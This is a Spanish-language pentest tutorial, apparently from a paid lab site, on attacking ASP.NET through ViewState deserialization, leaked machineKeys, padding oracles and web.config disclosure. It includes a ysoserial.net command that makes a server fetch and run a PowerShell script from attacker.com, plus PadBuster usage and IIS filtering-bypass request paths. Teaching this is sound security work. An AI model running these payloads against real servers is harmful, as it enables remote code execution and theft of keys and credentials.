Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel AvanzadoPremium

ASP.NET — ViewState deserialization, machineKey leak, padding oracle

Vulnerabilidades clásicas y modernas en stack ASP.NET: ViewState deserialization sin signature validation, machineKey leak via web.config disclosure, padding oracle attacks contra encrypted ViewState.

Gorka El Bochi11 de mayo de 202617 min

Respuesta rápida

ASP.NET ViewState es un blob serializado .NET enviado en cada postback. Si el machineKey está expuesto (vía web.config disclosure, LFI, GitHub leak) o si enableViewStateMac=false (legacy apps), ViewState se convierte en RCE-as-a-service vía ysoserial.net. Padding oracle attacks contra ViewState encriptado siguen vivos en apps no parcheadas. El stack moderno (ASP.NET Core) no usa ViewState pero hereda issues de deserialization en BinaryFormatter, Json.NET con TypeNameHandling y XML deserialization.


Stack ASP.NET — fingerprinting rápido

IndicadorSignifica
Cookie ASP.NET_SessionIdStack ASP.NET clásico (Framework)
Cookie .AspNetCore.SessionASP.NET Core
Header X-Powered-By: ASP.NETCualquiera de los dos
Header X-AspNet-Version: 4.0.30319ASP.NET Framework 4.x
HTML <input type="hidden" name="__VIEWSTATE">WebForms — vector ViewState directo
HTML <input name="__EVENTVALIDATION">WebForms con event validation
Extension .aspx, .ashx, .asmx, .axdWebForms
Extension .cshtml / no extensionMVC / Core
URL (S(...)) o (A(...)) en pathCookieless sessions

ViewState — anatomía y vectores

ViewState es un blob __VIEWSTATE (base64) que el server emite en formularios WebForms. Contiene el estado serializado de controles. Por defecto:

  • Tiene MAC (Message Authentication Code) firmado con validationKey.
  • Opcionalmente encriptado con decryptionKey.
  • El algoritmo viene definido en machineKey config.
xml
<machineKey
    validationKey="ABC...DEF"
    decryptionKey="123...456"
    validation="SHA1"
    decryption="AES" />

Vector 1 — enableViewStateMac="false" (legacy)

ASP.NET <4.5 permitía desactivar MAC. Si lo encuentras (raro pero existe en apps muy antiguas):

bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
  -c "powershell -c IEX(IWR -useb http://attacker.com/x.ps1)" \
  --isdebug --islegacy

Genera __VIEWSTATE que cuando se deserialize ejecuta el comando. POST al endpoint vulnerable → RCE.

Vector 2 — machineKey leakado

Mucho más común. El machineKey aparece en web.config. Si tienes:

  • LFI en endpoint ?file=../web.config
  • Backup files públicos: web.config.bak, web.config.old, web.config~
  • Git history leak: git show HEAD~5:web.config
  • Visual Studio publish artifacts: Web.Release.config.bak
  • Decompiled DLL con machineKey hardcoded (DnSpy → reverse engineering)
xml
<machineKey
    validationKey="70D2B19FD2A1AAA3D9F60E0B7A8D1D2EBF4F8C..."
    decryptionKey="4D69E83A9810B...0AB37FFDCD2BE"
    validation="HMACSHA256"
    decryption="AES" />

Con esos valores, firmas un ViewState válido:

bash
ysoserial.exe -p ViewState \
  --path="/login.aspx" \
  --apppath="/" \
  -c "whoami" \
  -g TypeConfuseDelegate \
  --validationkey="70D2B19F..." \
  --validationalg="HMACSHA256" \
  --decryptionkey="4D69E83A..." \
  --decryptionalg="AES"

Resultado: blob __VIEWSTATE con MAC válido. POST al endpoint → deserialize → RCE.


Padding Oracle contra ViewState encriptado

ASP.NET hasta el patch MS10-070 (oct 2010) era vulnerable a padding oracle si:

  • ViewState encriptado con AES-CBC.
  • Server respondía con error distinto según padding válido/inválido.

Tool: Padding-Oracle-Attack (PadBuster). Workflow:

  1. Identifica blob encriptado en cookie/ViewState.
  2. PadBuster envía variantes byte-a-byte midiendo response differential.
  3. Reconstruye plaintext byte-by-byte.
  4. Para encrypt arbitrary content, usa la misma técnica reverse.
bash
padbuster.pl https://target.com/page.aspx?d=COOKIE COOKIE 16 -encoding 3

Apps no parcheadas en 2026 son raras pero existen en SaaS legacy de gobierno y enterprise. El parche cambió el behavior para que padding error y MAC error generen el mismo response (200 + redirect to error page) — pero implementaciones custom siguen siendo vulnerables.


Discovering machineKey vía info disclosure

web.config leak

http
GET /web.config HTTP/1.1
GET /Web.config HTTP/1.1
GET /WEB.CONFIG HTTP/1.1
GET /web.config.bak HTTP/1.1
GET /web.config.old HTTP/1.1
GET /web.config~ HTTP/1.1
GET /Web.Release.config HTTP/1.1

IIS por defecto NO sirve .config (request filtering bloquea). Pero bypasses:

http
GET /web.config%20 HTTP/1.1       # trailing space
GET /web.config.. HTTP/1.1        # doble dot
GET /web.config::$DATA HTTP/1.1   # NTFS alternative data stream
GET /web.config%00.txt HTTP/1.1   # null byte + permitted extension
GET /web.config;.jpg HTTP/1.1     # semicolon path parameter
GET /.%2e/web.config HTTP/1.1     # encoded traversal

elmah.axd / trace.axd

Error logs accesibles:

bash
/elmah.axd
/trace.axd
/Trace.axd
/Reports/Elmah.axd
/admin/elmah.axd

Pueden contener:

  • Stack traces con paths absolutos del filesystem.
  • Connection strings parcialmente expuestos.
  • Session tokens, antiforgery tokens.
  • En el peor caso, machineKey aparece en stack traces cuando ASP.NET falla al validar ViewState malformado.

DLL decompilation

App carga DLLs custom desde /bin/. Si LFD permite descargarlas:

http
GET /Download?file=../../bin/Company.Web.Api.dll

Pasas la DLL por DnSpy o JetBrains dotPeek → source C# decompilado. Buscas machineKey, hardcoded passwords, connection strings, secret API keys.

bash
# Línea de comandos
ilspycmd Company.Web.Api.dll -o ./decompiled
grep -r 'machineKey\|password\|secret' decompiled/

Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Practica esto en un lab

Asp Net Viewstate

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados